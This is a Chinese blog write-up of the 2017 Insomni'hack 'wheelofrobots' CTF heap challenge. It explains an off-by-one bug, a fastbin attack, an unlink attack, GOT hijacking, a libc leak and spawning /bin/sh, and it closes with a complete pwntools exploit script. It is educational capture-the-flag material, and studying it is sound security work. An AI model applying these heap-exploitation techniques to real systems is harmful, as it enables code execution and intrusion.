2017 insomni‘hack wheelofrobots Writeup

原创

Morphy_Amo 于 2022-01-29 13:40:17 发布 1792 收藏

分类专栏： pwn题 文章标签： 安全 web安全 pwn

本文链接：https://blog.csdn.net/Morphy_Amo/article/details/122742585

> 【pwn学习】堆溢出（三）- Unlink和UAF的相关题目

题目链接

查看安全策略

```
root@kali:~/ctf/Other/pwn/heap# checksec wheelofrobots [*] '/root/ctf/Other/pwn/heap/wheelofrobots'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
```

静态分析

题目中没有使用`malloc`，而是使用的`calloc`。`calloc`会将分配的空间初始化为0

最多可以选择3个机器人

有六种机器人

robot -1 ： 分配0x14的空间。(20)

robot-2：用户输入一个数字`n`，当`n`小于4时，分配`n*0x14`的空间，否则分配`0x28`的空间

robot-3: 用户输入一个数字`n`，当`n`小于99时，分配`n*0x14`的空间，否则分配`0x14*0x14`的空间

robot-4：分配0xfa0字节空间。（4000）

robot-5: 分配0x9c40空间。（40000）

robot-6: 用户输入一个数字`n`，分配`n*0x14`的空间。

如下的地址来表示rotbot是否被选择

```
0x603114 - robot 2
0x603118 - robot 4
0x60311c - robot 6
0x603120 - robot 1
```

```
0x603124 - robot 3
0x603128 - robot 5
```

如下地址存储robot的内存指针

```
0x6030e0 - robot 4
0x6030e8 - robot 6
0x6030f0 - robot 2
0x6030f8 - robot 1
0x603100 - robot 3
0x603108 - robot 5
```

如下地址存储robot的大小系数

```
0x603138 - robot 2
0x603140 - robot 3
0x603148 - robot 6
```

在选择添加的robot型号时，存在off-by-one漏洞。分配给存储用户输入的空间为4个byte，但是写入的时候却可以写入5个字节的内容，从而覆盖0x603114的低字节，即robot2是否被使用的标志位。

利用上面的分析可以有如下思路

1. 利用off-by-one漏洞，可以篡改robot2的使用标志位。篡改后可以在robot2的chunk释放后利用重新命名的功能覆盖fastbins的fd指针，造成fastbins攻击，从而实现向内存中任意写入。

动态分析

fastbin攻击

```
add_robot(2, 1)
del_robot(2)
override_robot2(b'\x01')
# 篡改freed chunk的fd指针
edit_robot(2, p64(0x603138))
override_robot2(b'\x00')
add_robot(2, 1)
```

篡改fd指针后，会将`0x603138`加入到fastbins中

```
pwndbg> fastbins
fastbins
0x20: 0x603138 ← 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
```

在这种情况下，当glibc申请0x20的大小的chunk时，会把0x603138分配给申请对象。chunk需要size字段，0x603138的下一个地址是robot3的大小系数，因此这里添加一个系数为0x20的robot3

```
add_robot(3, 32)
# 申请robot1，获取fastbins
add_robot(1)
```

robot1添加后，可以看到robot1的内存指针指向了`0x603138 + 0x10`的位置。此时向robot1中写入数据时，会直接写入到`0x603148`，即robot6的大小系数的位置

入到`0x603148`，即robot6的大小系数的位置。

```
pwndbg> x/gx 0x6030f8
0x6030f8:       0x0000000000603148
```

> **为什么写到0x603138，而不是直接写到0x6030e0开始的robot指针中？**
> 一个合法的chunk需要有个size字段，写入到0x6030e0位置的话，难以控制下一个地址的值作为size字段。

到此，我们可以通过覆盖0x603148的值，来绕过写入时的大小限制。可以先创建一个小的robot6，然后将其系数修改为一个大数，这样就可以输入任意长度的内容，造成溢出。

使用Unlink篡改指向robot-6的chunk的指针

首先构造合适的内存分布。要先创建一个小的chunk用来溢出，然后紧跟一个small chunk来触发unlink。

```
add_robot(6, 2)
# 创建一个small chunk，大小需要大于0x80
add_robot(3, 7)
```

修改robot6的大小系数

```
edit_robot(1, p64(0x10))
```

构造溢出的payload写入到robot6，并释放robot3来触发unlink

```
robot6ptr = 0x6030e8
forged_chunk = p64(0)
forged_chunk += p64(0x20)
forged_chunk += p64(robot6ptr - 0x18)
forged_chunk += p64(robot6ptr - 0x10)
forged_chunk += p64(0x20)
payload = forged_chunk + p64(0xa0)
edit_robot(6, payload)

del_robot(3)
```

触发unilnk后，robot-6的指针被覆写为0x6030d0, 当我们向这个地址写入时，就可以修改各个robot的指针，实现任意地址的写入。于是下面我们利用这个能力劫持GOT表，泄露libc基址，最终实现getshell。

在反编译的代码中发现start wheel功能会打印robot的指针

在上面静态分析发现，robot4的指针保存在robot6指针的上一个位置，因此我们可以将robot4的真正替换为`puts@got`，这样就能通过LibcSearcher获取libc基址了。

不过这里还要解决exit，执行start功能后会执行exit退出程序，因此这里还要先劫持exit的got表，使程序继续运行。

```
add_robot(4)
# 将exit@got写入到存储robot-4指针的地方
payload = b'a' * 0x10 + p64(ELF.got['exit'])
edit_robot(6, payload)
# 使用0x40185a覆写exit@got
edit_robot(4, p64(0x40185a)) # 0x40185a会调用打印选项的函数。
```

进行libc基址的获取。需要注意：**最终是否能走到robot-4的分支是随机的，因此需要多运行几次**

```
leak_func = 'read'
payload = b'a' * 0x10 + p64(ELF.got[leak_func])
edit_robot(6, payload)

# 进入start功能，
CONN.recvuntil(b'Wheel Of Robots')
CONN.sendlineafter(b'Your choice : ', b'4')
CONN.recvuntil(b'New hands great!! Thx ')
res = CONN.recvuntil(b'!\n')
# 获取libc
leak_addr = u64(res[:-2].ljust(0x8, b'\x00'))
print(f'\tleak addr: {hex(leak_addr)}')
libc = LibcSearcher(leak_func, leak_addr)
libc_base = leak_addr - libc.dump(leak_func)
print(f'\tlibc base: {hex(libc_base)}')
```

获取libc基址后的操作就是一个常规操作了。这里我们选择把binsh写入到robot1中，然后通过free(robot1)触发。

```
system = libc_base + libc.dump('system')
payload = b'a' * 0x10 + p64(ELF.got['free'])
edit_robot(6, payload)
edit_robot(4, p64(system))
print('write /bin/sh to robot-1')
del_robot(1)
add_robot(1)
edit_robot(1, b'/bin/sh\n')

print('free robot-1')
del_robot(1)
CONN.interactive()
```

writeup

```
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

CONN = process('./wheelofrobots')
ELF = CONN.elf
#gdb.attach(CONN, 'b *0x40162e')

def add_robot(id, n=0):
    CONN.recvuntil(b'Wheel Of Robots')
    CONN.sendlineafter(b'Your choice : ', b'1')
    CONN.recvuntil(b'add to the wheel?')
    CONN.sendlineafter(b'Your choice :', str(id).encode())

    if id == 2:
        CONN.sendlineafter(b"Increase Bender's intelligence: ", str(n).encode())
    elif id == 3:
        CONN.sendlineafter(b"Increase Robot Devil's cruelty: ", str(n).encode())
    elif id == 6:
        CONN.sendlineafter(b"Increase Destructor's powerful: ", str(n).encode())
```

```python
def edit_robot(id, content):
    CONN.recvuntil(b'Wheel Of Robots')
    CONN.sendlineafter(b'Your choice : ', b'3')
    CONN.recvuntil(b'name do you want to change?')
    CONN.sendlineafter(b'Your choice :', str(id).encode())
    CONN.recvuntil(b"Robot's name: \n")
    CONN.send(content)

def del_robot(id):
    CONN.recvuntil(b'Wheel Of Robots')
    CONN.sendlineafter(b'Your choice : ', b'2')
    CONN.recvuntil(b'remove from the wheel?')
    CONN.sendlineafter(b'Your choice :', str(id).encode())

def override_robot2(inuse):
    CONN.recvuntil(b'Wheel Of Robots')
    CONN.sendlineafter(b'Your choice : ', b'1')
    CONN.recvuntil(b'add to the wheel?')
    payload = b'9999' + inuse
    CONN.sendlineafter(b'Your choice :', payload)

def exp():
    # fastbin attack
    add_robot(2, 1)
    del_robot(2)
    override_robot2(b'\x01')
    edit_robot(2, p64(0x603138))
    override_robot2(b'\x00')
    add_robot(2, 1)
    add_robot(3, 32)
    add_robot(1)
    # remove unused wheels
    del_robot(2)
    del_robot(3)

    # unlink
    # override robot-6's size
    add_robot(6, 2)
    edit_robot(1, p64(0x10))
    print('success hijack robot-6 size ')
    # create next chunk, need to be a small chunk
    add_robot(3, 7)
    print('\twrite forged chunk')
    robot6ptr = 0x6030e8
    forged_chunk = p64(0)
    forged_chunk += p64(0x20)
    forged_chunk += p64(robot6ptr - 0x18)
    forged_chunk += p64(robot6ptr - 0x10)
    forged_chunk += p64(0x20)
    payload = forged_chunk + p64(0xa0)
    edit_robot(6, payload)
    print('\tfree NEXT CHUNK to trigger unlink')
    del_robot(3)
    print('success hijack robot-6 ptr')

    print('Hijack func exit:')
    add_robot(4)
    print('\tOvrride robot-4 ptr with exit@got')
    payload = b'a' * 0x10 + p64(ELF.got['exit'])
    edit_robot(6, payload)
```

```
    edit_robot(6, payload)
    print('\tHijack exit@got')
    edit_robot(4, p64(0x40185a))

    print('Leak libc base address:')
    print('\toverride robot-4 ptr to leak func')
    leak_func = 'read'
    payload = b'a' * 0x10 + p64(ELF.got[leak_func])
    edit_robot(6, payload)

    print('\tleak addr')
    CONN.recvuntil(b'Wheel Of Robots')
    CONN.sendlineafter(b'Your choice : ', b'4')
    CONN.recvuntil(b'New hands great!! Thx ')
    res = CONN.recvuntil(b'!\n')
    leak_addr = u64(res[:-2].ljust(0x8, b'\x00'))
    print(f'\tleak addr: {hex(leak_addr)}')
    libc = LibcSearcher(leak_func, leak_addr)
    libc_base = leak_addr - libc.dump(leak_func)
    print(f'\tlibc base: {hex(libc_base)}')
    system = libc_base + libc.dump('system')
    print(f'\tsystem address: {hex(system)}')

    print('Hijack free@got with system')
    payload = b'a' * 0x10 + p64(ELF.got['free'])
    edit_robot(6, payload)
    edit_robot(4, p64(system))
    print('write /bin/sh to robot-1')
    del_robot(1)
    add_robot(1)
    edit_robot(1, b'/bin/sh\n')

    print('free robot-1')
    del_robot(1)
    CONN.interactive()

if __name__ == "__main__":
    exp()
```